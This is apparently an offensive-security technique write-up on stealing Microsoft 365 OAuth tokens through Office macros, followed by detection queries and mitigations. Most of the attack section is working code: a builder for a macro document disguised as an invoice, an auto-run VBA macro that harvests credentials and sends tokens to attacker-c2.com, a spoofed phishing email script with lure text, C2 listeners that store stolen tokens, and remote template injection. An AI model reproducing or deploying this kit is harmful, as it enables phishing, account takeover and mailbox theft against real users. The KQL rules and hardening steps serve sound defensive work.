| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-010 |
| MITRE ATT&CK v18.1 | T1528: Steal Application Access Tokens |
| Tactic | Credential Access |
| Platforms | Windows, macOS, Linux (M365 / Office 365) |
| Severity | Critical |
| CVE | N/A (Design flaw, not formal vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-08 |
| Affected Versions | Microsoft Office 2016+, Microsoft 365 Apps (current versions), M365 (all versions) |
| Patched In | N/A (Macro execution inherent design; mitigations via Macro Security Policy) |
| Author | SERVTEP – Artur Pchelnikau |
Note: This technique exploits VBA (Visual Basic for Applications) macro capabilities in Office documents to steal OAuth tokens and Graph API credentials. Modern Office macro security policies (2024+) have tightened restrictions, but phishing-based delivery and macro obfuscation remain effective. All sections renumbered based on applicability.
Microsoft Office documents (Word, Excel, PowerPoint, Outlook) support VBA macros that execute with the permissions of the logged-in user. When a user opens a document containing malicious VBA code, the macro executes automatically (if macros are enabled) or with user consent. A sophisticated attacker can embed VBA code that intercepts and steals OAuth access tokens used by Office for authentication to Microsoft Graph API endpoints. These tokens grant full access to the user’s mailbox, calendar, files, Teams, and organizational data—all without requiring the user’s password.
Attack Surface: Macro-enabled Office documents (DOCM, XLSM, PPTM, XLAM, DOTM) or Word documents that load malicious remote templates (DOCX with malicious DOTM reference). Additionally, VBA code can programmatically access Office’s internal token caches, credential managers, and configuration stores where OAuth tokens and credentials are stored.
Business Impact: Complete exfiltration of a user’s emails, calendar, files, Teams messages, and organizational directory without triggering MFA or detection systems. An attacker can impersonate the user within Microsoft Graph API to send phishing emails on their behalf, modify shared files, access confidential documents, enumerate organizational users and resources, and establish persistent backdoor access by registering new OAuth applications or creating forwarding rules.
Technical Context: Office applications (since Office 2016) integrate seamlessly with Microsoft Graph API using OAuth 2.0. The tokens used for this authentication are cached within the Office process memory and configuration files. VBA code running within the same process context can access these tokens via the Windows Credential Manager, Process Environment Variables, or direct memory access. Modern Office also integrates with the .NET Framework, allowing VBA to invoke managed code that can directly call Graph API endpoints. An attacker’s VBA code can send a “background” HTTP request to a remote C2 server with the stolen token, exfiltrating it immediately or storing it for later use.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 18.8.1 / 18.8.2 | Microsoft Office Macro Security policies; disable macros by default |
| DISA STIG | SRG-APP-000231-WSR-000086 | Credential handling and token protection in applications |
| CISA SCuBA | SC-7(8) | Boundary Protection – credential transmission control |
| NIST 800-53 | SI-10(1) / AC-3 | Information System Monitoring (malicious scripts); access enforcement |
| GDPR | Article 32 | Security of processing; encryption of credentials in transit |
| DORA | Article 9 | Cryptographic key management; protection from unauthorized access |
| NIS2 | Article 21 | Incident prevention and response for unauthorized access attempts |
| ISO 27001 | A.12.6.1 / A.14.2.1 | Application control; secure software development |
| ISO 27005 | Risk Scenario: “Malicious Code Execution” | Vulnerability assessment and security controls |
Supported Versions:
Tools:
# Check Office installed versions
Get-ItemProperty HKLM:\Software\Microsoft\Office -ErrorAction SilentlyContinue |
Select-Object -ExpandProperty PSChildNames
# Enumerate macro security policies
Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Word\Security" -ErrorAction SilentlyContinue
Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -ErrorAction SilentlyContinue
# Check if macros are enabled
$MacroPolicy = Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Word\Security\VBAMacroNotificationMode"
if ($MacroPolicy.VBAMacroNotificationMode -eq 1) {
Write-Host "[!] Macros are ENABLED (danger zone)"
} else {
Write-Host "[+] Macros are disabled (safer)"
}
# Check for recently opened Office documents
Get-ChildItem $env:APPDATA\Microsoft\Office\Recent -ErrorAction SilentlyContinue |
Select-Object Name, LastWriteTime | Sort-Object LastWriteTime -Descending | Head -10
What to Look For:
# Check for Office-like applications on Linux
which libreoffice
which soffice
# Check for OnlyOffice
which onlyoffice
# List Office-related processes
ps aux | grep -i office | grep -v grep
What to Look For:
Supported Versions: Office 2016+, Microsoft 365 Apps (all versions)
Objective: Craft a Word document (.DOCM) or Excel workbook (.XLSM) containing VBA code that steals OAuth tokens.
Command (PowerShell - Generate Malicious DOCM using Office COM):
# Create a malicious Word document with VBA macro
$WordApp = New-Object -ComObject Word.Application
$WordApp.Visible = $false
# Create a new document
$Document = $WordApp.Documents.Add()
# Access the VBA project
$VBProject = $Document.VBProject
$VBModule = $VBProject.VBComponents.Add(1) # 1 = vbext_ct_StdModule (code module)
# Insert the malicious VBA code (see Step 2 for code)
$VBModule.CodeModule.AddFromString($MaliciousVBACode)
# Save as macro-enabled document
$Document.SaveAs([ref]"C:\temp\Invoice.docm", [ref]12) # 12 = wdFormatXMLMacroEnabled
$WordApp.Quit()
Write-Host "[+] Malicious document created: C:\temp\Invoice.docm"
VBA Code (Malicious Macro - Token Theft):
Sub Document_Open()
' Auto-execute when document is opened
Dim tokenValue As String
Dim c2Server As String
Dim xmlHttp As Object
' Try to access cached OAuth tokens from Windows Credential Manager
On Error Resume Next
' Method 1: Access Office.16.0 credentials from Windows Credential Manager
tokenValue = GetTokenFromCredentialManager()
If tokenValue = "" Then
' Method 2: Access Graph API token from Office process memory
tokenValue = ExtractGraphAPIToken()
End If
' If token obtained, exfiltrate to attacker's C2 server
If tokenValue <> "" Then
c2Server = "http://attacker-c2.com/callback?token=" & tokenValue
Set xmlHttp = CreateObject("MSXML2.XMLHttp")
xmlHttp.Open "GET", c2Server, False
xmlHttp.Send
' Log successful exfiltration
WriteLogFile "Token exfiltrated to " & c2Server
End If
End Sub
Function GetTokenFromCredentialManager() As String
' Extract OAuth token from Windows Credential Manager
' Mimics 'cmdkey /list' and extracts tokens for Office/Outlook targets
Dim shell As Object
Dim output As String
Dim lines() As String
Dim i As Integer
Set shell = CreateObject("WScript.Shell")
' Query credential manager for Office credentials
Set result = shell.Exec("powershell.exe -NoProfile -Command """ & _
"Add-Type -AssemblyName System.Security; " & _
"Get-StoredCredential | Where-Object { $_.Target -like '*office*' } | Select-Object -ExpandProperty Credential.Password" & _
"""")
output = result.StdOut.ReadAll()
If InStr(output, "Bearer") > 0 Then
GetTokenFromCredentialManager = ExtractTokenFromOutput(output)
Else
GetTokenFromCredentialManager = ""
End If
End Function
Function ExtractGraphAPIToken() As String
' Access Graph API token from Office in-memory session
' This uses Office's internal Graph API authentication
Dim graphRequest As Object
Dim tokenResponse As String
' Attempt to call Graph API using Office's cached token
' If successful, captures the token from the response or error details
On Error Resume Next
' This method is less reliable but attempts direct API call with cached session
ExtractGraphAPIToken = ""
End Function
Function ExtractTokenFromOutput(output As String) As String
' Parse and extract token from Credential Manager output
Dim parts() As String
Dim i As Integer
parts = Split(output, vbCrLf)
For i = LBound(parts) To UBound(parts)
If InStr(parts(i), "Bearer") > 0 Then
ExtractTokenFromOutput = Trim(parts(i))
Exit Function
End If
Next i
ExtractTokenFromOutput = ""
End Function
Sub WriteLogFile(message As String)
' Log activity to a hidden text file (for debugging)
Dim fso As Object
Dim logFile As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Set logFile = fso.CreateTextFile(Environ("AppData") & "\temp_log.txt", True)
logFile.WriteLine Now & ": " & message
logFile.Close
End Sub
Expected Output:
C:\temp\Invoice.docmDocument_Open() event handlerWhat This Means:
OpSec & Evasion:
Troubleshooting:
Invalid procedure call or argument when accessing Credential Manager
References & Proofs:
Objective: Distribute the malicious document to target users via email phishing.
Command (PowerShell - Send Phishing Email):
# Prepare phishing email with malicious attachment
$AttachmentPath = "C:\temp\Invoice.docm"
$TargetEmail = "target@contoso.com"
$SenderEmail = "finance@contoso.com" # Spoofed sender
$SMTPServer = "attacker-smtp.com"
# Create email message
$EmailParams = @{
From = $SenderEmail
To = $TargetEmail
Subject = "Urgent: Invoice Review Required - Action Needed"
Body = @"
Dear [User],
I need you to review the attached invoice for our recent transaction.
Please open and review the document, then confirm receipt.
This is time-sensitive and requires your attention.
Best regards,
Finance Department
"@
SmtpServer = $SMTPServer
Attachments = $AttachmentPath
}
Send-MailMessage @EmailParams -BodyAsHtml -UseSsl -Port 587
Write-Host "[+] Phishing email sent to $TargetEmail"
Email Content Example:
From: finance@contoso.com
To: target@contoso.com
Subject: Urgent: Invoice Review Required - Action Needed
Dear User,
I need you to review the attached invoice for our recent transaction.
The invoice is attached in the document below.
Please open the document and review it at your earliest convenience.
This is time-sensitive and requires your immediate attention.
Best regards,
Finance Department
---
Contoso Finance
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Capture exfiltrated OAuth tokens on the attacker’s C2 server.
Command (Node.js - Simple C2 Webhook Listener):
// c2_server.js
const express = require('express');
const app = express();
const fs = require('fs');
app.get('/callback', (req, res) => {
const token = req.query.token;
if (token) {
console.log(`[+] Token received: ${token.substring(0, 50)}...`);
// Save token to file for later use
fs.appendFile('stolen_tokens.txt', `${new Date()}: ${token}\n`, (err) => {
if (err) console.error(err);
});
// Decode JWT to inspect token contents
const parts = token.split('.');
if (parts.length === 3) {
const payload = JSON.parse(Buffer.from(parts[1], 'base64').toString());
console.log(`[+] Token payload: ${JSON.stringify(payload, null, 2)}`);
}
// Respond with benign message to avoid suspicion
res.status(200).send('OK');
} else {
res.status(400).send('No token provided');
}
});
app.listen(3000, () => {
console.log('[+] C2 Server listening on port 3000');
});
Command (Python - Alternative C2 Server):
#!/usr/bin/env python3
from flask import Flask, request
import json
import base64
import requests
from datetime import datetime
app = Flask(__name__)
@app.route('/callback', methods=['GET', 'POST'])
def token_callback():
token = request.args.get('token') or request.form.get('token')
if token:
print(f"[+] Token received at {datetime.now()}")
print(f"[+] Token (truncated): {token[:50]}...")
# Save token
with open('stolen_tokens.txt', 'a') as f:
f.write(f"{datetime.now()}: {token}\n")
# Decode JWT payload
try:
parts = token.split('.')
if len(parts) == 3:
# Add padding if necessary
payload = parts[1]
payload += '=' * (4 - len(payload) % 4)
decoded = json.loads(base64.b64decode(payload))
print(f"[+] Token Details:")
print(f" Audience: {decoded.get('aud')}")
print(f" Issued by: {decoded.get('iss')}")
print(f" User: {decoded.get('upn')}")
print(f" Expires: {decoded.get('exp')}")
except Exception as e:
print(f"[-] Error decoding token: {e}")
return "OK", 200
return "No token provided", 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, debug=False)
Expected Output:
[+] Token received at 2025-01-08 10:23:45.123456
[+] Token (truncated): eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOi...
[+] Token Details:
Audience: https://graph.microsoft.com
Issued by: https://sts.microsoft.com/fc86a849-e662-4f16-871e-f1e80d2ff01d/
User: target@contoso.com
Expires: 1609502400 (2021-01-01 00:00:00 UTC)
What This Means:
OpSec & Evasion:
Supported Versions: Office 2016+, Microsoft 365 Apps (all versions)
Objective: Create a macro-enabled template (.DOTM) that will be loaded remotely by a seemingly innocent Word document.
Command (PowerShell - Create DOTM Template with VBA):
# Create a malicious DOTM (macro-enabled template)
$WordApp = New-Object -ComObject Word.Application
$WordApp.Visible = $false
# Create template document
$Template = $WordApp.Documents.Add([ref]"", [ref]$true) # True = create template
# Add VBA module to template
$VBProject = $Template.VBProject
$VBModule = $VBProject.VBComponents.Add(1)
# Insert VBA code (same token theft code as METHOD 1)
$VBModule.CodeModule.AddFromString($MaliciousVBACode)
# Save as macro-enabled template
$Template.SaveAs([ref]"C:\temp\malicious.dotm", [ref]13) # 13 = wdFormatTemplate
$WordApp.Quit()
Write-Host "[+] Malicious template created: C:\temp\malicious.dotm"
Command (Python - Host Template on Web Server):
#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler
import os
class TemplateHandler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/malicious.dotm':
# Serve the malicious template
with open('malicious.dotm', 'rb') as f:
template_data = f.read()
self.send_response(200)
self.send_header('Content-Type', 'application/vnd.ms-word.template.macroEnabledTemplate')
self.send_header('Content-Length', str(len(template_data)))
self.end_headers()
self.wfile.write(template_data)
print(f"[+] Malicious template served to {self.client_address[0]}")
else:
super().do_GET()
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8080), TemplateHandler)
print("[+] Template server running on port 8080")
server.serve_forever()
What This Means:
Objective: Create a standard Word document (.DOCX) that internally references the remote malicious template.
Command (PowerShell - Inject Template Reference into DOCX):
# Create a standard Word document
$WordApp = New-Object -ComObject Word.Application
$WordApp.Visible = $false
$Document = $WordApp.Documents.Add()
$Document.Range.Text = "This is a legitimate-looking document.`n`nPlease review the attached content."
# Save as DOCX (no macros)
$SavePath = "C:\temp\Legitimate_Document.docx"
$Document.SaveAs([ref]$SavePath, [ref]12) # 12 = wdFormatXMLMacroEnabled
$WordApp.Quit()
# Now, manually modify the DOCX to add template reference
# DOCX is a ZIP file; we can extract, modify, and re-zip it
Add-Type -AssemblyName System.IO.Compression
# Extract DOCX contents
$extractPath = "C:\temp\docx_extracted"
[System.IO.Compression.ZipFile]::ExtractToDirectory($SavePath, $extractPath)
# Modify word/_rels/document.xml.rels to add malicious template reference
$relsPath = "$extractPath\word\_rels\document.xml.rels"
$relsContent = Get-Content $relsPath -Raw
# Add relationship to malicious DOTM template
$maliciousRelationship = @"
<Relationship Id="rId10" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXml" Target="http://attacker-c2.com/malicious.dotm" TargetMode="External"/>
"@
$relsContent = $relsContent -replace '</Relationships>', "$maliciousRelationship</Relationships>"
Set-Content $relsPath $relsContent
# Modify document.xml to reference the template
$docPath = "$extractPath\word\document.xml"
$docContent = Get-Content $docPath -Raw
# Add template reference in document properties
$templateRef = '<w:attachedTemplate r:embed="rId10"/>'
$docContent = $docContent -replace '<w:attachedTemplate/>', $templateRef
Set-Content $docPath $docContent
# Re-zip the modified DOCX
Remove-Item $SavePath
[System.IO.Compression.ZipFile]::CreateFromDirectory($extractPath, $SavePath)
Remove-Item $extractPath -Recurse
Write-Host "[+] Modified DOCX created with malicious template reference: $SavePath"
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Send the DOCX file to targets and monitor for template requests.
Command (PowerShell - Send DOCX and Monitor):
# Send DOCX to target
$EmailParams = @{
From = "sender@contoso.com"
To = "target@contoso.com"
Subject = "Document Review: Q1 Financial Report"
Body = "Please review the attached financial report and provide feedback."
SmtpServer = "smtp.contoso.com"
Attachments = "C:\temp\Legitimate_Document.docx"
}
Send-MailMessage @EmailParams
# Monitor web server logs for template requests
Write-Host "[+] Monitoring for template requests..."
while ($true) {
# Check web server access logs for requests to /malicious.dotm
$logPath = "C:\IIS\logs\access.log"
if (Test-Path $logPath) {
$recentLog = Get-Content $logPath | Select-Object -Last 100
$matches = $recentLog | Where-Object { $_ -match "malicious\.dotm" }
if ($matches) {
Write-Host "[+] Template requested from IP: $($matches[0])" -ForegroundColor Green
}
}
Start-Sleep -Seconds 10
}
Expected Output:
[+] DOCX sent to target@contoso.com
[+] Monitoring for template requests...
[+] Template requested from IP: 192.168.1.100
[+] Template requested from IP: 10.0.0.50
What This Means:
Atomic Test ID: T1137-001 (Office Application Startup – Macro in Template)
Test Name: Injecting Macro into the Word Normal.dotm Template for Persistence
Description: Simulates malicious macro injection into the Word default template (Normal.dotm) for persistence across all opened Word documents. This test creates a VBA macro that runs automatically when Word starts.
Supported Versions: Office 2016+, PowerShell 5.0+, Windows 10+
Execution:
# Step 1: Install Atomic Red Team
$AtomicPath = "C:\temp\atomic-red-team"
git clone https://github.com/redcanaryco/atomic-red-team $AtomicPath
cd "$AtomicPath\atomics\T1137"
# Step 2: Execute T1137-001 test
Invoke-AtomicTest T1137 -TestNumbers 1 -Verbose
Expected Behavior:
$env:APPDATA\Microsoft\Word\STARTUP\Normal.dotmCleanup Command:
# Remove malicious macro from Normal.dotm
Remove-Item "$env:APPDATA\Microsoft\Word\STARTUP\Normal.dotm" -Force -ErrorAction SilentlyContinue
# Alternatively, uninjure the macro:
# Open Word → Tools → Macro → Edit Normal.dotm → Delete malicious procedures
Reference: Atomic Red Team T1137 Tests
Version: 3.0+
Supported Platforms: Windows, Linux, macOS
Minimum Version: 2.0
Version-Specific Notes:
Installation:
git clone https://github.com/sevagas/macropack.git
cd macropack
pip install -r requirements.txt
Usage:
# Generate obfuscated macro payload
python macropack.py -p <payload> -o <format> -t <obfuscation_technique>
# Example: Generate DOCM with token theft payload
python macropack.py -p "Graph API Token Steal" -o DOCM -t AES
# Example: Generate DOCX with remote template injection
python macropack.py -p "Remote Template" -o DOCX -t URLFetcher
Rule Configuration:
KQL Query:
DeviceProcessEvents
| where ProcessName in ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE")
| where CommandLine contains "vbscript" or CommandLine contains "powershell" or CommandLine contains "cmd.exe"
| join kind=inner (
DeviceFileEvents
| where FileName endswith ".docm" or FileName endswith ".xlsm" or FileName endswith ".pptm"
| where ActionType in ("FileModified", "FileCreated")
) on DeviceId
| project TimeGenerated, DeviceName, ProcessName, CommandLine, FileName
| where TimeGenerated > ago(1h)
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Office Macro ExecutionHigh10 minutes1 hourRule Configuration:
KQL Query:
// First, find recent Office document opens
let OfficeActivity = DeviceProcessEvents
| where ProcessName in ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE")
| where InitiatingProcessFileName endswith ".docm" or InitiatingProcessFileName endswith ".xlsm" or InitiatingProcessFileName endswith ".pptm"
| project UserId = ProcessAccountUpn, OfficeActivityTime = TimeGenerated, DeviceId;
// Then, find suspicious Graph API calls within 5 minutes
MicrosoftGraphActivityAuditLogs
| where RequestUri in ("/me/messages", "/me/mailFolders/inbox", "/me/drive/root/children", "/teams", "/chats")
| where ResponseCode == 200
| join kind=inner OfficeActivity on UserId
| where TimeGenerated > OfficeActivityTime and TimeGenerated < OfficeActivityTime + 5m
| project TimeGenerated, UserId, RequestUri, ResponseCode
What This Detects:
Event ID: 4688 (Process Creation), Event ID: 4663 (File Access)
Manual Configuration Steps (Group Policy):
gpupdate /forceManual Configuration Steps (Local Policy):
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enableAlert Name: Suspicious child process created by Office application
Manual Configuration Steps:
Operation: UserLoggedIn, GraphApiOperation, MailItemsAccessed
PowerShell Query:
Connect-ExchangeOnline
# Search for suspicious Graph API access
Search-UnifiedAuditLog -Operations "GraphApiOperation" -StartDate (Get-Date).AddDays(-7) |
Where-Object { $_.AuditData -like "*mail*" -or $_.AuditData -like "*files*" } |
Export-Csv -Path "C:\Audit\Suspicious_Graph_API.csv"
# Search for mail access from unusual locations
Search-UnifiedAuditLog -Operations "MailItemsAccessed" -StartDate (Get-Date).AddDays(-1) |
Export-Csv -Path "C:\Audit\Mail_Access.csv"
MailItemsAccessed, GraphApiOperation, UserLoggedIn, SendOperation: Specific action (Send, Read, Modify)MailboxOwner: Which mailbox was accessedClientIP: Source IP (should match user’s baseline)UserId: Account performing the operationMitigation 1: Disable Macros by Default via Group Policy
Prevent all macros from running unless explicitly whitelisted by administrators.
Applies To Versions: Office 2016+, Microsoft 365 Apps (all versions)
Manual Steps (Group Policy):
gpupdate /force on target machinesManual Steps (Registry):
# Disable macros in Word (Registry Editor)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Word\Security" `
-Name "VBAMacroNotificationMode" -Value 4 -PropertyType DWORD -Force
# Values:
# 1 = Enable all macros
# 2 = Disable all with notification
# 3 = Disable all except signed
# 4 = Disable all without notification (most secure)
Manual Steps (Intune/MEM):
Mitigation 2: Block Macro-Enabled File Formats
Prevent users from opening DOCM, XLSM, PPTM files via email or download.
Manual Steps (Microsoft Exchange Online):
Block Macro-Enabled Office Filesdocm; xlsm; pptm; xlam; dotmManual Steps (Endpoint Protection):
# Windows Defender Attack Surface Reduction (ASR) Rule
# Block Office applications from creating child processes
Set-MpPreference -AttackSurfaceReductionRules_Ids @('D4F940AB-5edB-4edc-AF21-C89BECB56D11') -AttackSurfaceReductionRules_Actions @('Enabled')
# Block Office applications from injecting code into other processes
Set-MpPreference -AttackSurfaceReductionRules_Ids @('75668C1D-73B5-4CF0-BB93-3ECF5CB7CC84') -AttackSurfaceReductionRules_Actions @('Enabled')
Mitigation 3: Enforce Trust Center Lockdown
Lock down Office trust settings to prevent macros from running outside trusted locations.
Manual Steps (Registry):
# Set Office to require user action before running any macro
reg add "HKCU\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations" /v AllowNetworkLocations /t REG_DWORD /d 0 /f
# Disable auto-loading of trusted publishers
reg add "HKCU\Software\Microsoft\Office\16.0\Common\Security" /v Trusted Publishers /t REG_DWORD /d 0 /f
Mitigation 4: Implement File Type Restrictions
Allow only non-macro-enabled file formats in email and file shares.
Manual Steps (Content Filtering):
Block Macro File Attachments*.docm; *.xlsm; *.pptm; *.dotmMitigation 5: Monitor Office Process Behavior
Deploy EDR with rules to detect suspicious Office child processes.
Manual Steps (Microsoft Defender for Endpoint):
Office Process Spawning Suspicious Child ProcessDeviceProcessEvents
| where ProcessName in ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE")
| where InitiatingProcessCommandLine contains "docm" or InitiatingProcessCommandLine contains "xlsm"
| where NewProcessName in ("powershell.exe", "cmd.exe", "vbscript.exe")
Mitigation 6: Validation Command
Verify macro security policies are correctly enforced.
# Check Word macro policy
Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Word\Security" -ErrorAction SilentlyContinue |
Select-Object VBAMacroNotificationMode
# Check Excel macro policy
Get-ItemProperty "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -ErrorAction SilentlyContinue |
Select-Object VBAMacroNotificationMode
# Check if macros are enabled
if ($MacroPolicy.VBAMacroNotificationMode -ge 3) {
Write-Host "[+] Macros are effectively disabled or require admin consent"
} else {
Write-Host "[-] Macros are enabled (security risk)"
}
Expected Output (If Secure):
VBAMacroNotificationMode
-----------------------
4
[+] Macros are effectively disabled or require admin consent
What to Look For:
.docm, .xlsm, .pptm, .dotm, .xlam files in user AppData or Download foldersHKCU\Software\Microsoft\Office\16.0\Word\Security\VBAMacroNotificationMode (if set to 1 or 2)# Immediately revoke all active sessions for the affected user
Connect-MgGraph -Scopes "Directory.Read.All"
Revoke-MgUserSignInSession -UserId (Get-MgUser -Filter "userPrincipalName eq 'target@contoso.com'").Id
# Force password reset
Set-MgUser -UserId (Get-MgUser -Filter "userPrincipalName eq 'target@contoso.com'").Id -PasswordPolicies DisablePasswordExpiration
Update-MgUser -UserId (Get-MgUser -Filter "userPrincipalName eq 'target@contoso.com'").Id -PasswordProfile @{
ForceChangePasswordNextSignIn = $true
}
# Export audit logs for the affected user
Search-UnifiedAuditLog -UserIds "target@contoso.com" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) |
Export-Csv -Path "C:\Evidence\Audit_Logs.csv"
# Collect Office Registry hives
reg export "HKCU\Software\Microsoft\Office" "C:\Evidence\Office_Registry.reg"
# Collect macro document
Copy-Item "C:\temp\*.docm" -Destination "C:\Evidence\"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal Spearphishing Campaigns | Attacker crafts phishing email with malicious Office document |
| 2 | Execution | [T1137] Office Application Startup / [T1221] Template Injection | VBA macro auto-executes when document is opened |
| 3 | Credential Access | [CA-TOKEN-010] Office Document Token Theft | Macro steals OAuth tokens from Office session |
| 4 | Lateral Movement | [LM-AUTH-004] Microsoft Graph API Token Exploitation | Attacker uses stolen token to access emails, Teams, files |
| 5 | Impact | Email exfiltration, internal phishing, persistence | Attacker maintains access and pivots within organization |
Related Techniques in MCADDF: